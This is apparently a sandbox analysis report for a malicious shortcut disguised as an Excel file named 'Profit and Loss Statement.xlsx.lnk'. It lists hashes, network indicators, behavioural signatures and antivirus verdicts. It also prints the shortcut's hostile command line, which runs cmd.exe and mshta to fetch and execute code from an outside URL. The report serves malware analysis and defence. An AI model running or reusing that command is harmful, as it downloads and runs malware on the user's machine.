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Profit and Loss Statement.xlsx.lnk

Generic Malware Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger P2P Internet API Sniff Audio DNS Http API Steal credential ScreenShot GIF Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Sept. 14, 2021, 4:33 p.m. Sept. 14, 2021, 4:35 p.m.
Size 22.3KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Working directory, Has command line arguments, Icon number=24, Archive, ctime=Sun Feb 16 21:46:36 2020, mtime=Mon Sep 28 16:46:47 2020, atime=Sun Feb 16 21:46:36 2020, length=280064, window=hide
MD5 1b025ec7e56c329c94a05c819a9dfaff
SHA256 825c84154c85b2f8213aaa7902f015c4478ddcd3172c48542688be2675d6e305
CRC32 7F016BFB
ssdeep 192:8xT4MFv6gaO2Wa7Hs+KmIUBfIJL2V++lNQO7BWIrM0KJY0EmTTpGUyeaimCKminr:ItyganskgAc+HNtlupBy2KIQsau802
Yara
  • Generic_Malware_Zero - Generic Malware
  • Lnk_Format_Zero - LNK Format

Name Response Post-Analysis Lookup
share.bloomcloud.org
A 139.180.164.131
139.180.164.131
IP Address Status Action
139.180.164.131 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49171 -> 139.180.164.131:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49171
139.180.164.131:443 		C=US, O=Let's Encrypt, CN=R3 CN=bloomcloud.org 14:f1:38:d4:67:70:b8:bf:b6:b6:da:8a:3c:69:38:e2:92:24:20:1c

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://share.bloomcloud.org/Yt3f4GLL1WXn/cldQqmNYKwflyCJavhZIvktwMcZyHo=
file C:\Users\test22\AppData\Local\Temp\Profit and Loss Statement.xlsx.lnk
cmdline "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.bloomcloud.org/Yt3f4GLL1WXn/cldQqmNYKwflyCJavhZIvktwMcZyHo=
cmdline C:\Windows\System32\mshta https://share.bloomcloud.org/Yt3f4GLL1WXn/cldQqmNYKwflyCJavhZIvktwMcZyHo=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef80000
process_handle: 0xffffffff
1 0 0
url https://share.bloomcloud.org/Yt3f4GLL1WXn/cldQqmNYKwflyCJavhZIvktwMcZyHo=
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Steal credential rule local_credential_Steal
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002cc
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
Process injection Process 2524 resumed a thread in remote process 2628
Process injection Process 2628 resumed a thread in remote process 2208
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002ec
suspend_count: 1
process_identifier: 2628
1 0 0

NtResumeThread

 thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2208
1 0 0
Lionic Trojan.WinLNK.Nioc.4!c
CAT-QuickHeal LNK.Agent.41324
ALYac Heur.BZC.YAX.Nioc.1.078B6D01
Arcabit Heur.BZC.YAX.Nioc.1.078B6D01
ESET-NOD32 LNK/Agent.GX
BitDefender Heur.BZC.YAX.Nioc.1.078B6D01
MicroWorld-eScan Heur.BZC.YAX.Nioc.1.078B6D01
Tencent Heur:Trojan.Winlnk.Downloader.wya
Ad-Aware Heur.BZC.YAX.Nioc.1.078B6D01
Emsisoft Heur.BZC.YAX.Nioc.1.078B6D01 (B)
TrendMicro TROJ_FRS.VSNW0DI21
FireEye Heur.BZC.YAX.Nioc.1.078B6D01
Sophos Troj/DownLnk-X
Ikarus Win32.Outbreak
MAX malware (ai score=98)
GData Heur.BZC.YAX.Nioc.1.078B6D01
AhnLab-V3 LNK/Autorun.Gen
VBA32 suspected of Trojan.Link.URL
Rising Downloader.Mshta/LNK!1.BADA (CLASSIC)
SentinelOne Static AI - Malicious LNK